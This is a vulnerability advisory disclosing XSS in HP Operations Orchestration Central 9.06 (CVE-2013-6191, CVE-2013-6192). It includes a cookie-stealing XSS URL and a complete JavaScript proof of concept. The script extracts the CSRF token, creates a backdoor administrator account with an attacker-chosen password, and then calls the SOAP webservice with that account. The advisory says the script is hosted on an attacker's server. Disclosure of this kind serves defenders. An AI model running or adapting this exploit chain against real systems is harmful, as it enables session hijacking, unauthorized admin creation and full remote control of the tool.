XSS in HP Operations Orchestration Central version 9.06 (CVE-2013-6191, CVE-2013-6192, SSRT101342)

Name: XSS in HP Operations Orchestration Central version 9.06
Systems Affected: HP Operations Orchestration version 9.06
Severity: High
Vendor: Hewlett-Packard
References: CVE-2013-6191, CVE-2013-6192, SSRT101342
Author: Bart Leppens
Date: 20130919

BACKGROUND

HP Operations Orchestration (HP OO) is a solution for automating IT tasks. HP Operations Orchestration Central is used to administrate this tool. The HP Operations Orchestration tool also has a webservice (SOAP-based) that allows you to have complete controle over HP OO.

DESCRIPTION

The HP Operations Orchestration Central application is vulnerable to XSS. Not only can we steal an administrators session cookie. We can use this XSS to extract the CSRF-token as well and this way we are able to remotely create supplementary (administrator) user accounts. Once this account is created it can be used (once again from the exterior) to send and recieve messages from the SOAP webservice.
All these examples have been tested with FF 24.0.

IT ALL STARTS WITH A XSS

https://x.x.x.x:8443/PAS/app%3F%3Cimg%20src=x%20onerror=alert%28document.cookie%29;%20/
It is clear that in this way you can easily steal session cookies, especially since the HTTPOnly-flag is not set for the session cookie. The attack can be very simple like tricking an administrator to visit a webpage that contains a hidden iFrame. The session can be hijacked and the attacker can administer the complete tool.

The XSS vulnerability can also be exploited from the exterior. An attacker can for example add a backdoor admin user, or manage flows. E.g. to add a supplementary user an attacker needs to extract the CSRF-token and and call the page to create a supplementary user account with preferably administrator rights. Since the attacker has control over the chosen password of his newly created user, these credentials can be used to call methods from the SOAP Webservice. This gives the attacker complete remote control from the exteriour over the orchestration tool.

Since for the PoC a bunch of javascript needs to be executed, we assume that the javascript file is hosted on a remote server and is appended to the DOM via XSS:
https://x.x.x.x:8443/PAS/app%3F

In this example x.x.x.x is the ip address of the HP OO Central application en y.y.y.y is the ip address of a server controled by the attacker.

Consider the javascript code in the next paragraph as a complete PoC. It extracts the CSRF-token, adds a new admin user and makes a SOAP call which relies on the newly created user.

PoC

var HPOO = "10.11.12.13:8443";
var csrfToken = "";
var userName = "newadmin";
var password = "adminadmin123";

function getCSRFToken()
{
var wsUrl = "https://"+HPOO+"/PAS/app?service=partial/0/UsersAdmin/UsersAdmin/addUserLink/EditUserDialogPart/DialogsStatePart";
var xmlhttp =  new XMLHttpRequest();
xmlhttp.open("GET", wsUrl, true);
xmlhttp.withCredentials = "true";
    xmlhttp.onreadystatechange  = function () {
        if (xmlhttp.readyState==4)
        {
            if (xmlhttp.status==200 || xmlhttp.status==0)
            {
                var rx = /hiddenUserList" value="([^"]*)/g;
                csrf = rx.exec(xmlhttp.responseText);
                csrfToken = csrf[1];
                createUser();
            }
        }
    }

    xmlhttp.send();
}

function createUser()
{
var wsUrl = "https://"+HPOO+"/PAS/app";
var xmlhttp =  new XMLHttpRequest();
var postData = "service=direct%2F1%2FUsersAdmin%2FEditUser.userForm&sp=S2&Form2=inputUserName%2CaccountInternal%2CchangePassword%2ChasPass%2CinputUserPass%2CinputVerifyPass%2CaccountEnabled%2CeditedUser%2ChiddenUserList%2CgroupSelector%2Cdefault%2Cnew%2Cedit&editedUser=X&hiddenUserList="+csrfToken+"&inputUserName="+userName+"&accountInternal=on&hasPass=on&inputUserPass="+password+"&inputVerifyPass="+password+"&accountEnabled=on&groupSelector=0&new=Create+User";
xmlhttp.open("POST", wsUrl, true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.withCredentials = "true";
    xmlhttp.onreadystatechange  = function () {
        if (xmlhttp.readyState==4)
        {
            if (xmlhttp.status==200 || xmlhttp.status==0)
            {
                var rx = /hiddenUserList" value="([^"]*)/g;
                csrf = rx.exec(xmlhttp.responseText);
                csrfToken = csrf[1];
                sendSoapReq();
            }
        }
    }

    xmlhttp.send(postData);
}

function sendSoapReq()
{

    var wsUrl = "https://"+HPOO+"/PAS/services/WSAutomationFocusAPI";
    var soapRequest ='Library';
    var xmlhttp =  new XMLHttpRequest();

    xmlhttp.open("POST", wsUrl, true);
xmlhttp.setRequestHeader("Content-type","text/xml");
xmlhttp.setRequestHeader("Access-Control-Allow-Origin","*");
xmlhttp.setRequestHeader("SOAPAction","https://"+HPOO+"/PAS/services/WSAutomationFocusAPI");
xmlhttp.setRequestHeader("Authorization","Basic "+btoa(userName+":"+password));
xmlhttp.withCredentials = "true";
    xmlhttp.onreadystatechange  = function () {
        if (xmlhttp.readyState==4)
        {
            if (xmlhttp.status==200 || xmlhttp.status==0)
            {
                alert(xmlhttp.responseText);
            }
        }
    }

    xmlhttp.send(soapRequest);
}

getCSRFToken();